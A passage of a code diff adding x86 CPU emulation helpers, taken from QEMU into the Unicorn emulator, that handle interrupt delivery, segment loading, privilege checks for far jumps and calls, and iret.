int error_code, int is_hw, int rm) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + uint32_t event_inj = ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.event_inj)); + + if (!(event_inj & SVM_EVTINJ_VALID)) { + int type; + + if (is_int) { + type = SVM_EVTINJ_TYPE_SOFT; + } else { + type = SVM_EVTINJ_TYPE_EXEPT; + } + event_inj = intno | type | SVM_EVTINJ_VALID; + if (!rm && exception_has_error_code(intno)) { + event_inj |= SVM_EVTINJ_VALID_ERR; + stl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.event_inj_err), + error_code); + } + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.event_inj), + event_inj); + } +} +#endif + +/* + * Begin execution of an interruption. is_int is TRUE if coming from + * the int instruction. next_eip is the env->eip value AFTER the interrupt + * instruction. It is only relevant if is_int is TRUE. + */ +static void do_interrupt_all(X86CPU *cpu, int intno, int is_int, + int error_code, target_ulong next_eip, int is_hw) +{ + CPUX86State *env = &cpu->env; + + if (qemu_loglevel_mask(CPU_LOG_INT)) { + if ((env->cr[0] & CR0_PE_MASK)) { + //static int count; + + //qemu_log("%6d: v=%02x e=%04x i=%d cpl=%d IP=%04x:" TARGET_FMT_lx + // " pc=" TARGET_FMT_lx " SP=%04x:" TARGET_FMT_lx, + // count, intno, error_code, is_int, + // env->hflags & HF_CPL_MASK, + // env->segs[R_CS].selector, env->eip, + // (int)env->segs[R_CS].base + env->eip, + // env->segs[R_SS].selector, env->regs[R_ESP]); + if (intno == 0x0e) { + qemu_log(" CR2=" TARGET_FMT_lx, env->cr[2]); + } else { + qemu_log(" env->regs[R_EAX]=" TARGET_FMT_lx, env->regs[R_EAX]); + } + qemu_log("\n"); + log_cpu_state(CPU(cpu), CPU_DUMP_CCOP); +#if 0 + { + int i; + target_ulong ptr; + + qemu_log(" code="); + ptr = env->segs[R_CS].base + env->eip; + for (i = 0; i < 16; i++) { + qemu_log(" %02x", ldub(ptr + i)); + } + qemu_log("\n"); + } +#endif + //count++; + } + } + if (env->cr[0] & CR0_PE_MASK) { +#if !defined(CONFIG_USER_ONLY) + if (env->hflags & HF_SVMI_MASK) { + handle_even_inj(env, intno, is_int, error_code, is_hw, 0); + } +#endif +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + do_interrupt64(env, intno, is_int, error_code, next_eip, is_hw); + } else +#endif + { + do_interrupt_protected(env, intno, is_int, error_code, next_eip, + is_hw); + } + } else { +#if !defined(CONFIG_USER_ONLY) + if (env->hflags & HF_SVMI_MASK) { + handle_even_inj(env, intno, is_int, error_code, is_hw, 1); + } +#endif + do_interrupt_real(env, intno, is_int, error_code, next_eip); + } + +#if !defined(CONFIG_USER_ONLY) + if (env->hflags & HF_SVMI_MASK) { + CPUState *cs = CPU(cpu); + uint32_t event_inj = ldl_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, + control.event_inj)); + + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.event_inj), + event_inj & ~SVM_EVTINJ_VALID); + } +#endif +} + +void x86_cpu_do_interrupt(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + +#if defined(CONFIG_USER_ONLY) + /* if user mode only, we simulate a fake exception + which will be handled outside the cpu execution + loop */ + do_interrupt_user(env, cs->exception_index, + env->exception_is_int, + env->error_code, + env->exception_next_eip); + /* successfully delivered */ + env->old_exception = -1; +#else + /* simulate a real cpu exception. On i386, it can + trigger new exceptions, but we do not handle + double or triple faults yet. */ + do_interrupt_all(cpu, cs->exception_index, + env->exception_is_int, + env->error_code, + env->exception_next_eip, 0); + /* successfully delivered */ + env->old_exception = -1; +#endif +} + +void do_interrupt_x86_hardirq(CPUX86State *env, int intno, int is_hw) +{ + do_interrupt_all(x86_env_get_cpu(env), intno, 0, 0, 0, is_hw); +} + +bool x86_cpu_exec_interrupt(CPUState *cs, int interrupt_request) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + bool ret = false; + +#if !defined(CONFIG_USER_ONLY) + if (interrupt_request & CPU_INTERRUPT_POLL) { + cs->interrupt_request &= ~CPU_INTERRUPT_POLL; + apic_poll_irq(cpu->apic_state); + } +#endif + if (interrupt_request & CPU_INTERRUPT_SIPI) { + do_cpu_sipi(cpu); + } else if (env->hflags2 & HF2_GIF_MASK) { + if ((interrupt_request & CPU_INTERRUPT_SMI) && + !(env->hflags & HF_SMM_MASK)) { + cpu_svm_check_intercept_param(env, SVM_EXIT_SMI, 0); + cs->interrupt_request &= ~CPU_INTERRUPT_SMI; + do_smm_enter(cpu); + ret = true; + } else if ((interrupt_request & CPU_INTERRUPT_NMI) && + !(env->hflags2 & HF2_NMI_MASK)) { + cs->interrupt_request &= ~CPU_INTERRUPT_NMI; + env->hflags2 |= HF2_NMI_MASK; + do_interrupt_x86_hardirq(env, EXCP02_NMI, 1); + ret = true; + } else if (interrupt_request & CPU_INTERRUPT_MCE) { + cs->interrupt_request &= ~CPU_INTERRUPT_MCE; + do_interrupt_x86_hardirq(env, EXCP12_MCHK, 0); + ret = true; + } else if ((interrupt_request & CPU_INTERRUPT_HARD) && + (((env->hflags2 & HF2_VINTR_MASK) && + (env->hflags2 & HF2_HIF_MASK)) || + (!(env->hflags2 & HF2_VINTR_MASK) && + (env->eflags & IF_MASK && + !(env->hflags & HF_INHIBIT_IRQ_MASK))))) { + int intno; + cpu_svm_check_intercept_param(env, SVM_EXIT_INTR, 0); + cs->interrupt_request &= ~(CPU_INTERRUPT_HARD | + CPU_INTERRUPT_VIRQ); + intno = cpu_get_pic_interrupt(env); + qemu_log_mask(CPU_LOG_TB_IN_ASM, + "Servicing hardware INT=0x%02x\n", intno); + do_interrupt_x86_hardirq(env, intno, 1); + /* ensure that no TB jump will be modified as + the program flow was changed */ + ret = true; +#if !defined(CONFIG_USER_ONLY) + } else if ((interrupt_request & CPU_INTERRUPT_VIRQ) && + (env->eflags & IF_MASK) && + !(env->hflags & HF_INHIBIT_IRQ_MASK)) { + int intno; + /* FIXME: this should respect TPR */ + cpu_svm_check_intercept_param(env, SVM_EXIT_VINTR, 0); + intno = ldl_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, control.int_vector)); + qemu_log_mask(CPU_LOG_TB_IN_ASM, + "Servicing virtual hardware INT=0x%02x\n", intno); + do_interrupt_x86_hardirq(env, intno, 1); + cs->interrupt_request &= ~CPU_INTERRUPT_VIRQ; + ret = true; +#endif + } + } + + return ret; +} + +void helper_enter_level(CPUX86State *env, int level, int data32, + target_ulong t1) +{ + target_ulong ssp; + uint32_t esp_mask, esp, ebp; + + esp_mask = get_sp_mask(env->segs[R_SS].flags); + ssp = env->segs[R_SS].base; + ebp = env->regs[R_EBP]; + esp = env->regs[R_ESP]; + if (data32) { + /* 32 bit */ + esp -= 4; + while (--level) { + esp -= 4; + ebp -= 4; + cpu_stl_data(env, ssp + (esp & esp_mask), + cpu_ldl_data(env, ssp + (ebp & esp_mask))); + } + esp -= 4; + cpu_stl_data(env, ssp + (esp & esp_mask), t1); + } else { + /* 16 bit */ + esp -= 2; + while (--level) { + esp -= 2; + ebp -= 2; + cpu_stw_data(env, ssp + (esp & esp_mask), + cpu_lduw_data(env, ssp + (ebp & esp_mask))); + } + esp -= 2; + cpu_stw_data(env, ssp + (esp & esp_mask), t1); + } +} + +#ifdef TARGET_X86_64 +void helper_enter64_level(CPUX86State *env, int level, int data64, + target_ulong t1) +{ + target_ulong esp, ebp; + + ebp = env->regs[R_EBP]; + esp = env->regs[R_ESP]; + + if (data64) { + /* 64 bit */ + esp -= 8; + while (--level) { + esp -= 8; + ebp -= 8; + cpu_stq_data(env, esp, cpu_ldq_data(env, ebp)); + } + esp -= 8; + cpu_stq_data(env, esp, t1); + } else { + /* 16 bit */ + esp -= 2; + while (--level) { + esp -= 2; + ebp -= 2; + cpu_stw_data(env, esp, cpu_lduw_data(env, ebp)); + } + esp -= 2; + cpu_stw_data(env, esp, t1); + } +} +#endif + +void helper_lldt(CPUX86State *env, int selector) +{ + SegmentCache *dt; + uint32_t e1, e2; + int index, entry_limit; + target_ulong ptr; + + selector &= 0xffff; + if ((selector & 0xfffc) == 0) { + /* XXX: NULL selector case: invalid LDT */ + env->ldt.base = 0; + env->ldt.limit = 0; + } else { + if (selector & 0x4) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + dt = &env->gdt; + index = selector & ~7; +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + entry_limit = 15; + } else +#endif + { + entry_limit = 7; + } + if ((index + entry_limit) > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + ptr = dt->base + index; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + if ((e2 & DESC_S_MASK) || ((e2 >> DESC_TYPE_SHIFT) & 0xf) != 2) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + uint32_t e3; + + e3 = cpu_ldl_kernel(env, ptr + 8); + load_seg_cache_raw_dt(&env->ldt, e1, e2); + env->ldt.base |= (target_ulong)e3 << 32; + } else +#endif + { + load_seg_cache_raw_dt(&env->ldt, e1, e2); + } + } + env->ldt.selector = selector; +} + +void helper_ltr(CPUX86State *env, int selector) +{ + SegmentCache *dt; + uint32_t e1, e2; + int index, type, entry_limit; + target_ulong ptr; + + selector &= 0xffff; + if ((selector & 0xfffc) == 0) { + /* NULL selector case: invalid TR */ + env->tr.base = 0; + env->tr.limit = 0; + env->tr.flags = 0; + } else { + if (selector & 0x4) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + dt = &env->gdt; + index = selector & ~7; +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + entry_limit = 15; + } else +#endif + { + entry_limit = 7; + } + if ((index + entry_limit) > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + ptr = dt->base + index; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + if ((e2 & DESC_S_MASK) || + (type != 1 && type != 9)) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + uint32_t e3, e4; + + e3 = cpu_ldl_kernel(env, ptr + 8); + e4 = cpu_ldl_kernel(env, ptr + 12); + if ((e4 >> DESC_TYPE_SHIFT) & 0xf) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + load_seg_cache_raw_dt(&env->tr, e1, e2); + env->tr.base |= (target_ulong)e3 << 32; + } else +#endif + { + load_seg_cache_raw_dt(&env->tr, e1, e2); + } + e2 |= DESC_TSS_BUSY_MASK; + cpu_stl_kernel(env, ptr + 4, e2); + } + env->tr.selector = selector; +} + +// Unicorn: check the arguments before run cpu_x86_load_seg(). +int uc_check_cpu_x86_load_seg(CPUX86State *env, int seg_reg, int sel) +{ + int selector; + uint32_t e2; + int cpl, dpl, rpl; + SegmentCache *dt; + int index; + target_ulong ptr; + + if (!(env->cr[0] & CR0_PE_MASK) || (env->eflags & VM_MASK)) { + return 0; + } else { + selector = sel & 0xffff; + cpl = env->hflags & HF_CPL_MASK; + if ((selector & 0xfffc) == 0) { + /* null selector case */ + if (seg_reg == R_SS +#ifdef TARGET_X86_64 + && (!(env->hflags & HF_CS64_MASK) || cpl == 3) +#endif + ) { + return UC_ERR_EXCEPTION; + } + return 0; + } else { + if (selector & 0x4) { + dt = &env->ldt; + } else { + dt = &env->gdt; + } + index = selector & ~7; + if ((index + 7) > dt->limit) { + return UC_ERR_EXCEPTION; + } + ptr = dt->base + index; + e2 = cpu_ldl_kernel(env, ptr + 4); + + if (!(e2 & DESC_S_MASK)) { + return UC_ERR_EXCEPTION; + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (seg_reg == R_SS) { + /* must be writable segment */ + if ((e2 & DESC_CS_MASK) || !(e2 & DESC_W_MASK)) { + return UC_ERR_EXCEPTION; + } + if (rpl != cpl || dpl != cpl) { + return UC_ERR_EXCEPTION; + } + } else { + /* must be readable segment */ + if ((e2 & (DESC_CS_MASK | DESC_R_MASK)) == DESC_CS_MASK) { + return UC_ERR_EXCEPTION; + } + + if (!(e2 & DESC_CS_MASK) || !(e2 & DESC_C_MASK)) { + /* if not conforming code, test rights */ + if (dpl < cpl || dpl < rpl) { + return UC_ERR_EXCEPTION; + } + } + } + + if (!(e2 & DESC_P_MASK)) { + if (seg_reg == R_SS) { + return UC_ERR_EXCEPTION; + } else { + return UC_ERR_EXCEPTION; + } + } + } + } + + return 0; +} + +/* only works if protected mode and not VM86. seg_reg must be != R_CS */ +void helper_load_seg(CPUX86State *env, int seg_reg, int selector) +{ + uint32_t e1, e2; + int cpl, dpl, rpl; + SegmentCache *dt; + int index; + target_ulong ptr; + + selector &= 0xffff; + cpl = env->hflags & HF_CPL_MASK; + if ((selector & 0xfffc) == 0) { + /* null selector case */ + if (seg_reg == R_SS +#ifdef TARGET_X86_64 + && (!(env->hflags & HF_CS64_MASK) || cpl == 3) +#endif + ) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + cpu_x86_load_seg_cache(env, seg_reg, selector, 0, 0, 0); + } else { + + if (selector & 0x4) { + dt = &env->ldt; + } else { + dt = &env->gdt; + } + index = selector & ~7; + if ((index + 7) > dt->limit) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + ptr = dt->base + index; + e1 = cpu_ldl_kernel(env, ptr); + e2 = cpu_ldl_kernel(env, ptr + 4); + + if (!(e2 & DESC_S_MASK)) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (seg_reg == R_SS) { + /* must be writable segment */ + if ((e2 & DESC_CS_MASK) || !(e2 & DESC_W_MASK)) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (rpl != cpl || dpl != cpl) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + } else { + /* must be readable segment */ + if ((e2 & (DESC_CS_MASK | DESC_R_MASK)) == DESC_CS_MASK) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + + if (!(e2 & DESC_CS_MASK) || !(e2 & DESC_C_MASK)) { + /* if not conforming code, test rights */ + if (dpl < cpl || dpl < rpl) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + } + } + + if (!(e2 & DESC_P_MASK)) { + if (seg_reg == R_SS) { + raise_exception_err(env, EXCP0C_STACK, selector & 0xfffc); + } else { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } + } + + /* set the access bit if not already set */ + if (!(e2 & DESC_A_MASK)) { + e2 |= DESC_A_MASK; + cpu_stl_kernel(env, ptr + 4, e2); + } + + cpu_x86_load_seg_cache(env, seg_reg, selector, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); +#if 0 + qemu_log("load_seg: sel=0x%04x base=0x%08lx limit=0x%08lx flags=%08x\n", + selector, (unsigned long)sc->base, sc->limit, sc->flags); +#endif + } +} + +/* protected mode jump */ +void helper_ljmp_protected(CPUX86State *env, int new_cs, target_ulong new_eip, + int next_eip_addend) +{ + int gate_cs, type; + uint32_t e1, e2, cpl, dpl, rpl, limit; + target_ulong next_eip; + + if ((new_cs & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + if (load_segment(env, &e1, &e2, new_cs) != 0) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + cpl = env->hflags & HF_CPL_MASK; + if (e2 & DESC_S_MASK) { + if (!(e2 & DESC_CS_MASK)) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (e2 & DESC_C_MASK) { + /* conforming code segment */ + if (dpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } else { + /* non conforming code segment */ + rpl = new_cs & 3; + if (rpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + if (dpl != cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_cs & 0xfffc); + } + limit = get_seg_limit(e1, e2); + if (new_eip > limit && + !(env->hflags & HF_LMA_MASK) && !(e2 & DESC_L_MASK)) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + cpu_x86_load_seg_cache(env, R_CS, (new_cs & 0xfffc) | cpl, + get_seg_base(e1, e2), limit, e2); + env->eip = new_eip; + } else { + /* jump to call or task gate */ + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + rpl = new_cs & 3; + cpl = env->hflags & HF_CPL_MASK; + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + switch (type) { + case 1: /* 286 TSS */ + case 9: /* 386 TSS */ + case 5: /* task gate */ + if (dpl < cpl || dpl < rpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + next_eip = env->eip + next_eip_addend; + switch_tss(env, new_cs, e1, e2, SWITCH_TSS_JMP, next_eip); + break; + case 4: /* 286 call gate */ + case 12: /* 386 call gate */ + if ((dpl < cpl) || (dpl < rpl)) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_cs & 0xfffc); + } + gate_cs = e1 >> 16; + new_eip = (e1 & 0xffff); + if (type == 12) { + new_eip |= (e2 & 0xffff0000); + } + if (load_segment(env, &e1, &e2, gate_cs) != 0) { + raise_exception_err(env, EXCP0D_GPF, gate_cs & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + /* must be code segment */ + if (((e2 & (DESC_S_MASK | DESC_CS_MASK)) != + (DESC_S_MASK | DESC_CS_MASK))) { + raise_exception_err(env, EXCP0D_GPF, gate_cs & 0xfffc); + } + if (((e2 & DESC_C_MASK) && (dpl > cpl)) || + (!(e2 & DESC_C_MASK) && (dpl != cpl))) { + raise_exception_err(env, EXCP0D_GPF, gate_cs & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0D_GPF, gate_cs & 0xfffc); + } + limit = get_seg_limit(e1, e2); + if (new_eip > limit) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + cpu_x86_load_seg_cache(env, R_CS, (gate_cs & 0xfffc) | cpl, + get_seg_base(e1, e2), limit, e2); + env->eip = new_eip; + break; + default: + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + break; + } + } +} + +/* real mode call */ +void helper_lcall_real(CPUX86State *env, int new_cs, target_ulong new_eip1, + int shift, int next_eip) +{ + int new_eip; + uint32_t esp, esp_mask; + target_ulong ssp; + + new_eip = new_eip1; + esp = env->regs[R_ESP]; + esp_mask = get_sp_mask(env->segs[R_SS].flags); + ssp = env->segs[R_SS].base; + if (shift) { + PUSHL(ssp, esp, esp_mask, env->segs[R_CS].selector); + PUSHL(ssp, esp, esp_mask, next_eip); + } else { + PUSHW(ssp, esp, esp_mask, env->segs[R_CS].selector); + PUSHW(ssp, esp, esp_mask, next_eip); + } + + SET_ESP(esp, esp_mask); + env->eip = new_eip; + env->segs[R_CS].selector = new_cs; + env->segs[R_CS].base = (new_cs << 4); +} + +/* protected mode call */ +void helper_lcall_protected(CPUX86State *env, int new_cs, target_ulong new_eip, + int shift, int next_eip_addend) +{ + int new_stack, i; + uint32_t e1, e2, cpl, dpl, rpl, selector, offset, param_count; + uint32_t ss = 0, ss_e1 = 0, ss_e2 = 0, sp, type, ss_dpl, sp_mask; + uint32_t val, limit, old_sp_mask; + target_ulong ssp, old_ssp, next_eip; + + next_eip = env->eip + next_eip_addend; + LOG_PCALL("lcall %04x:%08x s=%d\n", new_cs, (uint32_t)new_eip, shift); + LOG_PCALL_STATE(CPU(x86_env_get_cpu(env))); + if ((new_cs & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + if (load_segment(env, &e1, &e2, new_cs) != 0) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + cpl = env->hflags & HF_CPL_MASK; + LOG_PCALL("desc=%08x:%08x\n", e1, e2); + if (e2 & DESC_S_MASK) { + if (!(e2 & DESC_CS_MASK)) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (e2 & DESC_C_MASK) { + /* conforming code segment */ + if (dpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } else { + /* non conforming code segment */ + rpl = new_cs & 3; + if (rpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + if (dpl != cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_cs & 0xfffc); + } + +#ifdef TARGET_X86_64 + /* XXX: check 16/32 bit cases in long mode */ + if (shift == 2) { + target_ulong rsp; + + /* 64 bit case */ + rsp = env->regs[R_ESP]; + PUSHQ(rsp, env->segs[R_CS].selector); + PUSHQ(rsp, next_eip); + /* from this point, not restartable */ + env->regs[R_ESP] = rsp; + cpu_x86_load_seg_cache(env, R_CS, (new_cs & 0xfffc) | cpl, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), e2); + env->eip = new_eip; + } else +#endif + { + sp = env->regs[R_ESP]; + sp_mask = get_sp_mask(env->segs[R_SS].flags); + ssp = env->segs[R_SS].base; + if (shift) { + PUSHL(ssp, sp, sp_mask, env->segs[R_CS].selector); + PUSHL(ssp, sp, sp_mask, next_eip); + } else { + PUSHW(ssp, sp, sp_mask, env->segs[R_CS].selector); + PUSHW(ssp, sp, sp_mask, next_eip); + } + + limit = get_seg_limit(e1, e2); + if (new_eip > limit) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + /* from this point, not restartable */ + SET_ESP(sp, sp_mask); + cpu_x86_load_seg_cache(env, R_CS, (new_cs & 0xfffc) | cpl, + get_seg_base(e1, e2), limit, e2); + env->eip = new_eip; + } + } else { + /* check gate type */ + type = (e2 >> DESC_TYPE_SHIFT) & 0x1f; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + rpl = new_cs & 3; + switch (type) { + case 1: /* available 286 TSS */ + case 9: /* available 386 TSS */ + case 5: /* task gate */ + if (dpl < cpl || dpl < rpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + switch_tss(env, new_cs, e1, e2, SWITCH_TSS_CALL, next_eip); + return; + case 4: /* 286 call gate */ + case 12: /* 386 call gate */ + break; + default: + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + break; + } + shift = type >> 3; + + if (dpl < cpl || dpl < rpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + /* check valid bit */ + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_cs & 0xfffc); + } + selector = e1 >> 16; + offset = (e2 & 0xffff0000) | (e1 & 0x0000ffff); + param_count = e2 & 0x1f; + if ((selector & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + + if (load_segment(env, &e1, &e2, selector) != 0) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_S_MASK) || !(e2 & (DESC_CS_MASK))) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (dpl > cpl) { + raise_exception_err(env, EXCP0D_GPF, selector & 0xfffc); + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } + + if (!(e2 & DESC_C_MASK) && dpl < cpl) { + /* to inner privilege */ + get_ss_esp_from_tss(env, &ss, &sp, dpl); + LOG_PCALL("new ss:esp=%04x:%08x param_count=%d env->regs[R_ESP]=" + TARGET_FMT_lx "\n", ss, sp, param_count, + env->regs[R_ESP]); + if ((ss & 0xfffc) == 0) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if ((ss & 3) != dpl) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (load_segment(env, &ss_e1, &ss_e2, ss) != 0) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + ss_dpl = (ss_e2 >> DESC_DPL_SHIFT) & 3; + if (ss_dpl != dpl) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (!(ss_e2 & DESC_S_MASK) || + (ss_e2 & DESC_CS_MASK) || + !(ss_e2 & DESC_W_MASK)) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + if (!(ss_e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0A_TSS, ss & 0xfffc); + } + + /* push_size = ((param_count * 2) + 8) << shift; */ + + old_sp_mask = get_sp_mask(env->segs[R_SS].flags); + old_ssp = env->segs[R_SS].base; + + sp_mask = get_sp_mask(ss_e2); + ssp = get_seg_base(ss_e1, ss_e2); + if (shift) { + PUSHL(ssp, sp, sp_mask, env->segs[R_SS].selector); + PUSHL(ssp, sp, sp_mask, env->regs[R_ESP]); + for (i = param_count - 1; i >= 0; i--) { + val = cpu_ldl_kernel(env, old_ssp + + ((env->regs[R_ESP] + i * 4) & + old_sp_mask)); + PUSHL(ssp, sp, sp_mask, val); + } + } else { + PUSHW(ssp, sp, sp_mask, env->segs[R_SS].selector); + PUSHW(ssp, sp, sp_mask, env->regs[R_ESP]); + for (i = param_count - 1; i >= 0; i--) { + val = cpu_lduw_kernel(env, old_ssp + + ((env->regs[R_ESP] + i * 2) & + old_sp_mask)); + PUSHW(ssp, sp, sp_mask, val); + } + } + new_stack = 1; + } else { + /* to same privilege */ + sp = env->regs[R_ESP]; + sp_mask = get_sp_mask(env->segs[R_SS].flags); + ssp = env->segs[R_SS].base; + /* push_size = (4 << shift); */ + new_stack = 0; + } + + if (shift) { + PUSHL(ssp, sp, sp_mask, env->segs[R_CS].selector); + PUSHL(ssp, sp, sp_mask, next_eip); + } else { + PUSHW(ssp, sp, sp_mask, env->segs[R_CS].selector); + PUSHW(ssp, sp, sp_mask, next_eip); + } + + /* from this point, not restartable */ + + if (new_stack) { + ss = (ss & ~3) | dpl; + cpu_x86_load_seg_cache(env, R_SS, ss, + ssp, + get_seg_limit(ss_e1, ss_e2), + ss_e2); + } + + selector = (selector & ~3) | dpl; + cpu_x86_load_seg_cache(env, R_CS, selector, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + SET_ESP(sp, sp_mask); + env->eip = offset; + } +} + +/* real and vm86 mode iret */ +void helper_iret_real(CPUX86State *env, int shift) +{ + uint32_t sp, new_cs, new_eip, new_eflags, sp_mask; + target_ulong ssp; + int eflags_mask; + + sp_mask = 0xffff; /* XXXX: use SS segment size? */ + sp = env->regs[R_ESP]; + ssp = env->segs[R_SS].base; + if (shift == 1) { + /* 32 bits */ + POPL(ssp, sp, sp_mask, new_eip); + POPL(ssp, sp, sp_mask, new_cs); + new_cs &= 0xffff; + POPL(ssp, sp, sp_mask, new_eflags); + } else { + /* 16 bits */ + POPW(ssp, sp, sp_mask, new_eip); + POPW(ssp, sp, sp_mask, new_cs); + POPW(ssp, sp, sp_mask, new_eflags); + } + env->regs[R_ESP] = (env->regs[R_ESP] & ~sp_mask) | (sp & sp_mask); + env->segs[R_CS].selector = new_cs; + env->segs[R_CS].base = (new_cs << 4); + env->eip = new_eip; + if (env->eflags & VM_MASK) { + eflags_mask = TF_MASK | AC_MASK | ID_MASK | IF_MASK | RF_MASK | + NT_MASK; + } else { + eflags_mask = TF_MASK | AC_MASK | ID_MASK | IF_MASK | IOPL_MASK | + RF_MASK | NT_MASK; + } + if (shift == 0) { + eflags_mask &= 0xffff; + } + cpu_load_eflags(env, new_eflags, eflags_mask); + env->hflags2 &= ~HF2_NMI_MASK; +} + +static inline void validate_seg(CPUX86State *env, int seg_reg, int cpl) +{ + int dpl; + uint32_t e2; + + /* XXX: on x86_64, we do not want to nullify FS and GS because + they may still contain a valid base. I would be interested to + know how a real x86_64 CPU behaves */ + if ((seg_reg == R_FS || seg_reg == R_GS) && + (env->segs[seg_reg].selector & 0xfffc) == 0) { + return; + } + + e2 = env->segs[seg_reg].flags; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (!(e2 & DESC_CS_MASK) || !(e2 & DESC_C_MASK)) { + /* data or non conforming code segment */ + if (dpl < cpl) { + cpu_x86_load_seg_cache(env, seg_reg, 0, 0, 0, 0); + } + } +} + +/* protected mode iret */ +static inline void helper_ret_protected(CPUX86State *env, int shift, + int is_iret, int addend) +{ + uint32_t new_cs, new_eflags, new_ss; + uint32_t new_es, new_ds, new_fs, new_gs; + uint32_t e1, e2, ss_e1, ss_e2; + int cpl, dpl, rpl, eflags_mask, iopl; + target_ulong ssp, sp, new_eip, new_esp, sp_mask; + +#ifdef TARGET_X86_64 + if (shift == 2) { + sp_mask = -1; 